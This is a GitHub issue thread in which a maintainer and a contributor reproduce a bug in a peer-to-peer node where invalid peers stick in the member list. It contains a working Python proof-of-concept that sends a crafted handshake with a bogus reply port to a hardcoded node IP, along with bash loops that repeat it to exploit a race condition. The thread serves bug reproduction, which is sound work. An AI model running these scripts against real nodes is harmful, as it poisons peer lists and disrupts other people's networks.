Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Invalid peers can get stuck in member list #5

Open
ssadler opened this issue May 28, 2020 · 4 comments
Open

Invalid peers can get stuck in member list #5

ssadler opened this issue May 28, 2020 · 4 comments
Labels
bug Something isn't working help wanted Extra attention is needed

Comments

@ssadler
Copy link
Owner

ssadler commented May 28, 2020

This should not be a difficult one to solve, @Alrighttt has a script which connects to a zeno node and can send an invalid reply port which ends up getting stuck in the node's peer list. Reproduction pending.

@ssadler
Copy link
Owner Author

ssadler commented May 28, 2020

Question: Was the invalid node propagated to other's peer lists? This seems impossible because nodes don't add a peer until they get a reply from them. But there could be a race condition somewhere.

@Alrighttt
Copy link

You'll have to forgive me for how imprecise my steps for reproducing this are. As you say, it's likely a race condition, so I won't spend any more effort trying to get the timing correct. It may take a few attempts for this to work. Let me know if you're having any trouble.

save this as test.py.
edit the target variable to the node you're targeting
Make it executable:

#!/usr/bin/env python3
import socket
import binascii
import sys
from requests import get

def make_payload(ip, port):
    static = '000000000000001c00000000000000'
    ip_str = ip + ":" + str(port) + ":0"
    ip_junk = binascii.hexlify(bytes(ip_str.encode('utf-8')))
    #get length in bytes of hex in decimal
    bytelen = int(len(ip_junk) / int(2))
    hexlen = format(bytelen, 'x')

    #get length in big endian hex, just copied this from another script, need to verify it works
    if bytelen < 16:
        bigend = "0" + str(hexlen)
    elif bytelen < 256:
        bigend = str(hexlen)
    elif bytelen < 4096:
        bigend = "0" + str(hexlen)
    elif bytelen < 65536:
        bigend = str(hexlen)
    payload = static + bigend + ip_junk.decode('utf-8')
    payload = bytes(payload.encode('utf-8'))
    payload = binascii.unhexlify(payload)
    return(payload)


def spam(payload, target_peer):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print(target_peer)
    s.connect(target_peer)
    s.sendall(payload)
    data = s.recv(1024)
    print('Received', repr(data))
    payload = binascii.unhexlify(b'0000000000000400')
    s.sendall(payload)
    payload = binascii.unhexlify(b'00000400000000000000040000000011e4dfbbb9aeaff2c844181d5f031f2cac00') 
    s.sendall(payload)
    #data = s.recv(1024)

    count = 0
    while True: #count < 10:
        data = s.recv(1024)
        print(len(data))
        count += 1
        #amount_received += len(data)
        print('received: ',data.hex())
    #s.close()

myIP = get('https://api.ipify.org').text

port = int(sys.argv[1])
target = ('195.201.137.5', 7766) # this is your target to add bogus peers to 

payload = make_payload(myIP, port)
spam(payload, target)

create a bash script in the same directory:

#!/bin/bash
for i in {1..50}
do
   echo "STEP $i"
   ./test.py $i
done

run this bash script and continually hit ctrl+c at different intervals in the terminal to stop the python script at different times. Sorry, I know this is very janky, but if it truly is a race condition, I'm unlikely to ever make the timing precise enough.

If you don't want to bother with this, let me know, and I will target your node myself.

@ssadler
Copy link
Owner Author

ssadler commented Jun 1, 2020

Can you check if this is still an issue?

@ssadler ssadler added bug Something isn't working help wanted Extra attention is needed labels Jun 6, 2020
@Alrighttt
Copy link

This issue still exists as of c97e6a4 .

Again, if you don't feel like doing this, I can target your node. Almost certainly a race condition, so the following process might take a few attempts.

https://gist.github.com/Alrighttt/fd52f202f38dbc95ccfc71427382683f
When it receives a connection, it will immediately close the socket. Can ignore most of what's in this script, I just threw it together with a script I already had written. The important part is that it's listening on ports 8888-8988 and immediately closes the socket.

Now quickly run this about 1000 times.
for i in {1..1000}; do python3 send.py; done
https://gist.github.com/Alrighttt/f0c570ebaa6efddd87c843147cf92ab6

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
bug Something isn't working help wanted Extra attention is needed
Projects
None yet
Development

No branches or pull requests

2 participants